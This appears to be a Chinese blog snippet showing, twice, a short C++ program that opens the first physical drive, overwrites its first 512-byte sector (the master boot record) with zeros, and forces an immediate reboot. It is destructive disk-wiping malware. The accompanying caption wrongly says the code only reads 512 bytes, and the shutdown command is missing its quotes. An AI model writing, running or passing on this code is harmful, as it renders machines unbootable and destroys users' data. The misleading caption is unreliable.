等级:上下
#include<iostream>
using namespace std;
int main(){
FILE*fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+");
char a[512]={0};
fseek(fd,0,SEEK_SET);
fwrite(a,512,1,fd);
system(shutdown -r -f -t 0);
return 0;
}
该代码段使用C++打开物理驱动器0,读取512字节数据,并调用系统命令立即重启计算机。
等级:上下
#include<iostream>
using namespace std;
int main(){
FILE*fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+");
char a[512]={0};
fseek(fd,0,SEEK_SET);
fwrite(a,512,1,fd);
system(shutdown -r -f -t 0);
return 0;
}
3246
1026

被折叠的 条评论
为什么被折叠?